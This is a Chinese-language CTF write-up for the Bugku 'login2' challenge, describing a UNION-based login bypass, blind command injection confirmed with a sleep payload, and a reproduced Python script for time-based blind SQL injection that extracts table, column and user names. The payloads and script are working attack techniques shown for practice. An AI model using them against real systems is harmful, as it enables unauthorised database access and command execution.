Bugku-CTF之login2(SKCTF)(hint:union,命令執行)


Day40 

 

login2(SKCTF)

 

 

http://123.206.31.85:49165/
SKCTF{xxxxxxxxxxxxxxxxxxxxx}
hint:union,命令執行
 
 
本題要點:union繞過、命令執行、腳本編寫、base64編碼
 
 
打開頁面如下:
 
 
用bp嘗試抓包,打開代理
 
 
 
 
接着發送到repeater,go一下
 
看到一串base64密文
解密一下~
 
$sql="SELECT username,password FROM admin WHERE username='".$username."'";
if (!empty($row) && $row['password']===md5($password))
{
}
 
 
一段源碼,分析一下:
想要登錄成功,可以 通過輸入不存在用戶,用union select 構造出指定密碼的md5值。
 
構造payload
 
 
成功繞過
進入這樣的頁面~   進程監控系統:
 
 
 
 
這里就沒有任何提示信息了emmmm.......
只好隨便亂輸實驗了.........
 
1.輸入123
2.輸入ls
 
 
 
3.輸入123&&4
 
發現除了進程信息之外其他的都沒有回顯,不知道是不是有過濾。
又更換命令的分解符號為|,&,&&均沒有反應......
 
有可能是命令被過濾了,也有可能是命令執行了,輸出過濾了....
 
基於盲注原理測試123;sleep 10發現返回延遲將近10秒,看來是輸出過濾,命令可以執行~
如果其他的shell命令沒有被過濾,那么此處就相當於getshell,可以執行更多操作;
 
 
本人菜雞,只好借鑒大佬的腳本~
 
import requests
url = 'http://123.206.31.85:49165/login.php'
#allString = '''1234567890~`!@#$%^&*()-_=+[]{};:'"|\,<.>/?qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'''
allString = '''1234567890-_,qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'''
database = ''
flag = 1
#\'union select (if(length(database()!=0),sleep(10),1)),'202cb962ac59075b964b07152d234b70'   盲注數據庫,此處替換函數可以注其他你想要的信息
#\'union select (select case when (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) from %d for 1))=%d) then sleep(6) else 0 end),\'202cb962ac59075b964b07152d234b70\'#盲注表
#\'union select (select case when (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=\'admin\') from %d for 1))=%d) then sleep(6) else 0 end),\'202cb962ac59075b964b07152d234b70\'#盲注項
#\'union select (select case when (ascii(substr((select username from admin ) from %d for 1))=%d) then sleep(4) else 0 end),\'202cb962ac59075b964b07152d234b70\'#盲注內容但是里面啥都沒有
for i in range(1,100):
    for j in allString:
        #header = {
            #"X-Forwarded-For":"1'+(select case when (ascii(substr(database() from %d for 1))=%d) then sleep(3) else 0 end))#"%(i,ord(j))
            #}
        data={
        'username':"dminhhjhj\'union select (select case when (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) from %d for 1))=%d) then sleep(4) else 0 end),\'202cb962ac59075b964b07152d234b70\'#"%(i,ord(j)),#替換#以前的內容就可以
        'password':'123'
        }
        r = requests.post(url,data=data)
        t = r.elapsed.total_seconds()
        print(database+'     '+'the time of '+j+' is '+str(t))
        if t >= 4:
            database = database + j
            print('the '+str(i)+' place of database is '+j)
            break
        elif t < 4 and j == 'M':
            flag = 0
            break
    if flag == 0 :
        break
print('database:',database)

 

 
 
 根據掃完結果,直接訪問.txt,得到flag:
 
 
 
完成!
 
 
 
 
參考資料:
https://blog.csdn.net/zazazrt/article/details/87655154
 
 
 
 
 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2026 CODEPRJ.COM